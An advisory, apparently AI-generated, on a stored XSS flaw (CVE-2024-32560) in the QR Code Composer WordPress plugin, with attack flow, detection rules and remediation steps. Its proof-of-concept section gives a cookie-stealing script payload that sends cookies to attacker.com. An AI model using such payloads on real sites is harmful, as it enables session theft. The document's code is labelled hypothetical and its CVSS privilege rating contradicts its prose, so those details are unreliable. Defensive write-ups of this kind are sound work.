CVE-2024-32560

Executive Summary

CVE-2024-32560 is a Stored Cross-Site Scripting (XSS) vulnerability in the QR Code Composer WordPress plugin, developed by Sharabindu. The flaw exists in versions through 2.0.3 due to improper neutralization of user-supplied input during web page generation. An authenticated attacker with contributor-level access or higher can inject malicious scripts that are stored on the server and executed in the browsers of other users (including administrators) when they view the compromised QR code or associated page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the repository are at risk. Since the plugin is unpatched, the supply chain risk is elevated; any site running this plugin is vulnerable until a fix is applied or the plugin is removed.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires user interaction)
• User Interaction: Required (victim must visit the compromised page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature and the lack of a patch increase the real-world risk, especially for sites with multiple users.

Deep Dive & Mechanics

The vulnerability resides in the QR Code Composer plugin's handling of user-generated content. The plugin allows users to create and embed QR codes with custom parameters (e.g., URL, text, or metadata). The input fields for these parameters are not properly sanitized or escaped before being stored in the database and later rendered in the browser.

Attack Flow:

1. An attacker with contributor-level access (or higher) logs into the WordPress admin.
2. The attacker creates a new QR code entry and injects a malicious JavaScript payload into one of the input fields (e.g., the "QR Code URL" or "Description" field).
3. The plugin stores the payload in the WordPress database without sanitization.
4. When an administrator or other user views the QR code list or the page where the QR code is displayed, the payload executes in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect them to malicious sites.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user-supplied data. This allows HTML and JavaScript to be injected.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely appears in the plugin's main PHP file (e.g., qr-code-composer.php) or a template file.

Vulnerable Code (Hypothetical):

// Vulnerable: Direct output without sanitization
echo '<div class="qr-code">' . $user_input . '</div>';

Patched Code (Hypothetical):

// Patched: Use esc_html() to escape output
echo '<div class="qr-code">' . esc_html( $user_input ) . '</div>';

Key Difference: The patched version uses esc_html() to convert special characters (like <, >, &) into HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Prerequisites:

• WordPress site with QR Code Composer plugin version <= 2.0.3
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Navigate to the QR Code Composer admin page (e.g., /wp-admin/admin.php?page=qr-code-composer).
3. Create a new QR code entry.
4. In the "QR Code URL" field, enter the following payload:

   <script>alert('XSS')</script>
   

5. Save the entry.
6. As an administrator, navigate to the QR code list page. The script will execute, displaying an alert box.

Advanced Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for unusual QR code creation or modification events.
• Use a Web Application Firewall (WAF) to block requests containing <script> tags in QR code fields.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Remove or disable the QR Code Composer plugin until a patch is available.
• If removal is not possible, restrict contributor-level access to trusted users only.
• Apply a virtual patch using a WAF rule to block XSS payloads in QR code parameters.

Indicators of Compromise (IOCs)

• File Hashes (Plugin Files):
  • qr-code-composer.php (SHA256: UNKNOWN – verify against your installation)
• Database Entries:
  • Look for wp_postmeta or custom table entries containing <script> tags in fields related to QR codes.
• Network Traffic:
  • Outbound requests to attacker-controlled domains from the WordPress admin interface.
• Log Entries:
  • Unusual POST requests to /wp-admin/admin-ajax.php or plugin-specific endpoints with encoded JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_32560_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in QR Code Composer plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32560"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $plugin_path = "qr-code-composer"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in QR Code Composer Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via QR Code Composer plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: 'POST'
        http.url|contains: '/wp-admin/admin-ajax.php'
        http.body|contains: 'qr_code_composer'
        http.body|contains|re: '<script[^>]*>.*?</script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in QR code fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-32560 - Stored XSS in QR Code Composer";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"qr_code_composer"; http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/si";
    sid:1000001;
    rev:1;
    reference:cve,2024-32560;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the QR Code Composer plugin from all WordPress installations.
2. Audit user roles – Review and restrict contributor-level access to only trusted users.
3. Scan for compromise – Check for injected scripts in the database and file system.

Long-Term Fix:

• Since no patch is available, consider migrating to an alternative QR code plugin that is actively maintained and patched.
• If you must continue using this plugin, implement a WAF rule to block XSS payloads and enforce strict input validation.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions or support, contact security@valters-it.com.